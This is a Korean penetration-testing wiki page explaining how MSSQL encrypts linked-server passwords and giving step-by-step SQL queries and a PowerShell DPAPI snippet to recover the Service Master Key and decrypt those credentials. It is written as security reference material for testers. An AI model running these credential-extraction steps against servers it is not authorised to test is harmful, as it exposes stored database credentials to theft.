펜테스팅 위키
  • Welcome
    • Home
  • 정보 수집
    • OSINT
      • Sub Domain
      • Google Hacking
      • Github
      • IP Address
      • Employees
    • 내부망
      • RID Cycling
      • Password Spraying
      • Password Must Change
      • Extension
        • xlsx/ods
        • pfx
        • vhd
        • pst
        • vbs
        • hc
      • Protocol
        • 21 - FTP
        • 22 - SSH
        • 25 - SMTP
        • 23 - Telnet
        • 53 - DNS
        • 80/443 - HTTP
        • 88 - Kerberos
        • 111 - RPC
        • 135 - msrpc
        • 139/445 - SMB
        • 389/636 - LDAP
        • 1433 - MSSQL
        • 5985/5986 - wsman
  • 초기 침투
    • CVEs
      • CVE-2025-31486
    • Phishing
      • Command File
      • EXE + LNK
      • wax
      • Microsoft Word
    • Web
      • Quary Language
        • SQL
        • GraphQL
      • File Upload
      • File Download
      • XSS
      • SSRF
      • CSRF
      • Open Redirect
      • SOP / CORS
    • ZIP Slip
  • 지속성
    • Active Directory
      • Golden Tickets
      • Diamond Tickets
      • DC Shadow
      • RID Hijacking
      • Certificate
    • Local
      • Task Scheduler
      • Startup Folder
      • Registry AutoRun
      • COM
      • WMI Event Subscription
      • SSH Key Injection
      • DLL Hijacking
      • DLL SideLoading
      • Create Account
  • 권한 상승
    • Active Directory
      • DACL
        • ReadGMSAPassword
        • ReadLAPSPassword
        • ForceChangePassword
        • AddSelf
        • WriteOwner
        • GenericAll
        • GenericWrite
        • WriteSPN
        • AddMembers
        • WriteProperty
        • WriteGPO
        • AddAllowedToAct
        • AllExtendedRights
      • AD CS
        • Abuse Permissions
        • ESC1
        • ESC2
        • ESC3
        • ESC4
        • ESC5
        • ESC6
        • ESC7
        • ESC8
        • ESC9
        • ESC10
        • ESC11
        • CVE-2022-26923
        • Non-PKINIT
      • MS14-068
      • Server Operators
      • DnsAdmins
      • noPac
      • Silver Tickets
      • KrbRelayUp
      • GPO
    • Windows
      • SeImpersonatePrivilege
      • Unquoted Service Path
      • Weak Service Permissions
      • Weak Service Binary Permissions
      • UAC Bypass
      • Always Install Elevated
      • Autoruns
      • Credential Manager
      • Local Service Account
  • 민감정보 탈취
    • Active Directory
      • Kerberoasting
      • Targeted Kerberoast
      • ASRep-Roasting
      • AS Requested Service Tickets
      • Unconstrained Delegation
      • Constrained Delegation
      • Alternate Service Name
      • Resource Based Constrained Delegation
      • DCSync
      • LSASS
      • Shadow Credentials
      • Backup Operators
      • SeEnableDelegationPrivilege
      • Domain Cached Credentials
      • Network Access Account Credentials
    • Windows
      • Unattended File
      • DPAPI
      • Hard-coding Credentials
      • SeBackupPrivilege
  • 측면 이동
    • File Transfer
      • SCP
      • ZIP
      • ncat
      • Python
      • PowerShell
      • certutil
      • wget
      • SMB
      • Base64
      • FTP
      • WebDav
      • cURL
    • Pivoting
      • SOCKS
      • Proxifier
      • Remote Port Forwarding
    • NTLM Relay
    • WebDAV Relay
    • WinRM
    • PsExec
    • WMI
    • DCOM
    • RDP
    • Port Forwarding
    • Domain Trust Discovery
  • 사용자 가장
    • Pass the Hash
  • Pass the Ticket
  • Overpass the Hash
  • Token Impersonation
  • Make Token
  • Process Injection
  • ETC
    • CS
      • Active Directory
      • Kerberos
      • NTLM
      • PKINIT
      • Integrity
      • Registry
      • Active Directory Trusts
      • Delegation
      • OAuth 2.0
      • S4U
      • SCCM
      • SID History
      • TRUSTWORTHY
      • Link Server Passwords
    • Tools
      • Cobalt Strike
      • BloodHound
      • Rubeus
      • Certipy-ad
      • LDAP Search
      • Hydra
      • Hashcat
Powered by GitBook
On this page
  • Encryption Algorithm
  • References

Was this helpful?

Export as PDF
  1. ETC
  2. CS

Link Server Passwords

MSSQL 서버는 데이터베이스 로컬 SQL 자격 증명은 해시화하여 저장하는 반면, 링크 관계인 서버의 자격 증명은 암호화하여 저장하는 특성이 있습니다. 이렇게 자격 증명을 보관하는데 있어서 차이가 존재하는 이유는 로컬 SQL 계정의 경우 사용자가 입력한 평문 패스워드를 해시 알고리즘을 적용시킨 후, 저장된 해시 값과 비교하면 로그인이 성공되기 때문입니다.

링크 관계의 데이터베이스 간에도 연결하려는 데이터베이스와 연결을 허용하려는 데이터베이스는 방금 설명한 사용자 - 데이터베이스 간의 관계와 동일합니다. 따라서 데이터베이스를 통해 링크 관계의 데이터베이스에 접근하기 위해선 접근하려는 데이터베이스가 사용자의 평문 패스워드를 알아야합니다. 이러한 정보들을 열거하기 위해서는 일반 SQL 연결이나 네트워크 연결을 통해서 할 수는 없으며, 로컬 관리자로 접속한 상태에서 DAC(Dedicated Administrator Connection)를 해야합니다.

이 모드는 원래 서버에 문제가 생겨서 잠기거나 비정상적인 상황으로 접속이 되지 않을 경우를 대비한 모드이며, 여러 인원이 동시 접속은 하지 못합니다. 따라서 다른 사용자가 DAC 연결을 수립했다면 접속하지 못하며, 내가 접속한다면 다른 사용자가 사용하지 못한다는 사실을 인지해야 합니다.

Encryption Algorithm

Linked Server 자격 증명은 SQL Server의 인스턴스 수준에서 생성되는 루트 대칭키인 SMK(Service Master Key)에 의해 암호화 되어 저장됩니다. 연결 서버의 자격 증명이 SMK로만 암호화가 되며, 이 키를 쉽게 획득할 수 있다면 간단하겠지만, Windows에서는 DPAPI에 의해 한 번 더 SMK가 암호화 되어 저장됩니다. DPAPI로 암호화 된 SMK는 sys.key_encryptions 테이블에 저장되는데, 이때 버전은 2가지로 DPAPI의 LocalMachine에서 암호화된 것과 CurrentUser(SQL Server 서비스 계정)에서 암호화된 것입니다.

이렇게 두가지 컨텍스트에서 SMK가 암호화되어 저장되는 궁극적 이유로는 서비스 계정이 변경될 경우 새로운 서비스 계정 컨텍스트에서는 이 키를 복호화 할 수단이 없어지는데, 이때 로컬 머신의 컨텍스트에서 복호화가 가능하기 때문입니다.

추가적으로 DPAPI로 암호화할 때는 추가적인 엔트로피 바이트를 사용해 보안을 강화하는데, 이 값의 레지스트리 경로는 HKLM\SOFTWARE\Microsoft\Microsoft SQL Server<InstanceName>\Security\Entropy 에 저장됩니다.

SMK를 통해 암호화 하는 알고리즘은 SQL Server의 버전에 따라 다른데, SQL Server 2012 이후로는 AES 알고리즘을 사용하며, 이전 버전의 경우 3DES 알고리즘을 사용합니다. 따라서 DAC 연결을 수립하고 로컬 관리자 권한을 얻었을 때, SQL Server의 버전에 따라 복호화 하는 방식을 선택해야 합니다.

연결된 서버와 암호에 대한 정보는 아래 쿼리로 확인할 수 있습니다.

# 다른 사용자가 DAC 연결을 수립했는지 점검
SELECT * FROM sys.dm_exec_sessions WHERE endpoint_id = 1

# 연결된 서버와 유저 이름, 암호화된 비밀번호 열거
SELECT sysservers.srvname, syslnklgns.name, syslnklgns.pwdhash FROM master.sys.syslnklgns INNER JOIN master.sys.sysservers ON syslnklgns.srvid = sysservers.srvid WHERE LEN(pwdhash) > 0;

# SMK 열거
SELECT * FROM sys.key_encryptions;

SMK 열거 명령을 통해 열거한 키는 앞서 설명한 것과 같이 두 종류가 있습니다. LocalMachine으로 암호화된 SMK는 Windows DPAPI의 Machine Key로 암호화된 것이므로 굳이 서비스 계정의 컨텍스트에서 암호화된 SMK를 선택할 이유가 없습니다. 열거된 키 중 아래 항목을 가져온 뒤, 파워쉘 명령을 통해 DPAPI 복호화를 합니다.

$encryptedData = <Encrypted SMK>;
$encryptedData = $encryptedData.Substring(18); # Remove 0x and padding
$encryptedData = [byte[]] -split ($encryptedData -replace '..', '0x$& ');

$entropy = (Get-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Microsoft SQL Server\MSSQL16.MSSQLSERVER\Security" -Name "Entropy").Entropy;

Add-Type -AssemblyName System.Security;
$SMK = [System.Security.Cryptography.ProtectedData]::Unprotect($encryptedData, $entropy, 'LocalMachine');
Write-Host (($SMK|ForEach-Object ToString X2) -join '');

이제 파워쉘을 통해 DPAPI로 암호화 되었던 SMK를 획득했으니 암호화에 사용된 초기화 벡터와 암호문을 쿼리로 획득합니다.

# 초기화 벡터 & 암호문 질의
SELECT
	name,
	SUBSTRING(pwdhash, 5, 16) AS 'IV',
	SUBSTRING(pwdhash, 21, LEN(pwdhash) - 20) AS 'Ciphertext'
FROM sys.syslnklgns
WHERE LEN(pwdhash) > 0;

이제 세가지 정보를 가지고 CyberChef에서 AES 복호화를 할 수 있습니다.

References

PreviousTRUSTWORTHYNextTools

Last updated 4 days ago

Was this helpful?

How to: Use the Dedicated Administrator Connection with SQL Server Management StudioMicrosoftLearn
Logo
Shared ContentChatGPT
Decrypting MSSQL Database Link Server PasswordsNetSPI
https://blog.naver.com/jooung86/220628439661blog.naver.com
Logo
SQL Server & database encryption keys - SQL ServerMicrosoftLearn
CyberChef
Logo
Logo
Logo